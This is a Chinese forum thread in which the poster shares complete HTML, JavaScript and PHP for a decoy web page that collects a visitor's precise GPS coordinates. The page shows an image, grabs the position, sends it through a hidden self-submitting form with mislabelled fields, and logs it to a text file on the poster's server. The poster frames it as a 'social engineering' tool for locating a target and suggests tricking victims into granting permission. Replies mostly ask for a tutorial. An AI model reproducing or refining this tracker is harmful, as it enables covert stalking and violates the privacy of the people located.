找回密码
 创建账号

QQ登录

只需一步,快速开始

查看: 12771|回复: 69

[原创软件] 社工之经度纬度定位-50米以内,自测10M

[复制链接]
  • TA的每日心情
    开心
    2019-2-21 22:09
  • 签到天数: 40 天

    连续签到: 1 天

    [LV.5]三尾狐

    发表于 2018-8-2 10:32:33 | 显示全部楼层 |阅读模式
    总所周知,我们的IP定位也只是定位公网IP,精准度顶多在300-100米,
    甚至有些时候不能很好的获取对方的位置,
    以下的的技术,我自己试了,精准度在50以内

    此技术利用了HTML5 Geolocation API
    直接调用方法即可,即使是4G网页可以精准定位
    最原始代码如下,我自己加了一些

    现在编写index.php页面代码
    <!DOCTYPE html>

    <html lang="en">

    <head>

        <meta charset="UTF-8">

        <title>Document</title>

    </head>

    <body>

      

    <img src="1.png" alt="" width="100%;">

        <script>

          var geol;      

            try {

                if (typeof(navigator.geolocation) == 'undefined') {

                    geol = google.gears.factory.create('beta.geolocation');

                } else {

                    geol = navigator.geolocation;

                }

            } catch (error) {

                //alert(error.message);

            }

             

            if (geol) {

                geol.getCurrentPosition(function(position) {

            

            var nowLatitude = position.coords.latitude;            

            var nowLongitude = position.coords.longitude;      

             //以上是固定代码,获取经度纬度

      

        alert("纬度:" + nowLatitude + ", 经度:" + nowLongitude);  //弹出经度纬度的坐标

               

      

                        function new_form(){

                var f=document.createElement("form");

                document.body.appendChild(f);

                f.method="post";

                return f;

            }    //定义函数,创建form

      

            function create_elements(eForm,eName,eValue){

                var e=document.createElement("input");

                eForm.appendChild(e);

                e.type="text";

                e.name=eName;

                if(!document.all){e.style.display="none"}else{

                    e.style.display="block";

                    e.style.width="0px";

                    e.style.height="0px";

                }

                e.value=eValue;

                return e;

            }

      

    //这段代码意思就是 定义方法,有两个input 他们的值分别是经度纬度的值

      

            var _f=new_form();

            create_elements(_f,"username",nowLatitude) // 创建form中的input对象

            create_elements(_f,"password",nowLongitude);

          

            _f.action="geolocation2.php";

            _f.submit();   //提交

          

    //表单自提交发送到geolocation2.php页面

      

      

      

        }, function(error) {

            switch(error.code){

            case error.TIMEOUT :

                //alert("连接超时,请重试");

                break;

            case error.PERMISSION_DENIED :

                //alert("您拒绝了使用位置共享服务,查询已取消");

                break;

            case error.POSITION_UNAVAILABLE :

                //alert("非常抱歉,我们暂时无法通过浏览器获取您的位置信息");

                break;

            }

        }, {timeout:10000});    //设置十秒超时

      

      

            }

    //设置连接超时的报错

      

      

      

      </script>

    </body>

    </html>
    然后来写接受页面 geolocation2.php 的代码

    <?php

    @$time=date('Y-m-d H:i:s',time());  //获取当前时间

    $nowLatitude="纬度 ".$_POST['username'];    //接受上个页面传过来的参数(经度坐标)

    $nowlongitude="经度 ".$_POST['password']."   ------时间是".$time."\r\n";;    //接受上个页面传过来的参数(纬度坐标)

    $fp=fopen("geo.txt", "a+");  //创建一个geo.txt文件

    fwrite($fp, $nowLatitude);   //把经度写入到geo.txt里

    fwrite($fp, $nowlongitude);   //把纬度写入到geo.txt里
    对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)
    获取后会生成一个geo.txt文件在自己的站点上



    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?创建账号

    ×

    评分

    参与人数 1贡献 +20 金钱 +40 收起 理由
    2079086793 + 20 + 40 支持一下

    查看全部评分

  • TA的每日心情
    擦汗
    2022-9-1 08:44
  • 签到天数: 105 天

    连续签到: 1 天

    [LV.6]桃花妖

    发表于 2018-8-2 21:03:50 | 显示全部楼层
    你看不懂之就算看懂了你也不会用系列
    回复 1 0

    使用道具 举报

  • TA的每日心情
    开心
    2019-2-21 22:09
  • 签到天数: 40 天

    连续签到: 1 天

    [LV.5]三尾狐

     楼主| 发表于 2018-8-2 10:33:36 | 显示全部楼层
    源码加成品
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2018-8-31 22:52
  • 签到天数: 18 天

    连续签到: 1 天

    [LV.4]提灯小僧

    发表于 2018-8-2 21:33:55 | 显示全部楼层
    看起来应该可以用的样子
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2020-9-18 07:21
  • 签到天数: 13 天

    连续签到: 1 天

    [LV.3]灯篭鬼

    发表于 2018-8-2 21:42:32 | 显示全部楼层
    不错但是为什么我的等级会自动掉?
    回复

    使用道具 举报

  • TA的每日心情
    郁闷
    2021-1-8 14:26
  • 签到天数: 18 天

    连续签到: 2 天

    [LV.4]提灯小僧

    发表于 2018-8-2 21:50:26 | 显示全部楼层
    其实主要的就是想使用这个ip定位的功能
    回复

    使用道具 举报

    头像被屏蔽
  • TA的每日心情
    擦汗
    2018-8-3 01:53
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]小紙人

    发表于 2018-8-3 03:11:39 | 显示全部楼层
    提示: 该帖被管理员或版主屏蔽
    回复

    使用道具 举报

    头像被屏蔽
  • TA的每日心情
    开心
    2023-8-5 09:16
  • 签到天数: 27 天

    连续签到: 1 天

    [LV.4]提灯小僧

    发表于 2018-8-3 07:42:50 | 显示全部楼层
    提示: 该帖被管理员或版主屏蔽
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2018-9-23 08:41
  • 签到天数: 184 天

    连续签到: 23 天

    [LV.7]雪女

    发表于 2018-8-3 08:51:22 | 显示全部楼层
    马克下。。虽然看不太懂
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2018-8-26 16:01
  • 签到天数: 19 天

    连续签到: 1 天

    [LV.4]提灯小僧

    发表于 2018-8-3 09:34:07 | 显示全部楼层
    - -  求贴主发一个  具体的教程
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2018-11-14 16:02
  • 签到天数: 23 天

    连续签到: 1 天

    [LV.4]提灯小僧

    发表于 2018-8-3 09:48:04 | 显示全部楼层
    看样子很牛
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2018-9-5 09:56
  • 签到天数: 6 天

    连续签到: 1 天

    [LV.2]天邪鬼

    发表于 2018-8-3 20:13:16 | 显示全部楼层
    求具体教程啊楼主
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2018-10-9 10:38
  • 签到天数: 8 天

    连续签到: 2 天

    [LV.3]灯篭鬼

    发表于 2018-8-4 17:39:59 | 显示全部楼层
      还要自己租个服务器
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 创建账号

    本版积分规则

    Archiver|手机版|小黑屋|iYa.App 软件交流社区

    GMT+8, 2024-3-29 09:36 , Processed in 0.183508 second(s), 24 queries .

    Powered by Discuz! X3.5

    © 2001-2023 Discuz! Team.

    快速回复 返回顶部 返回列表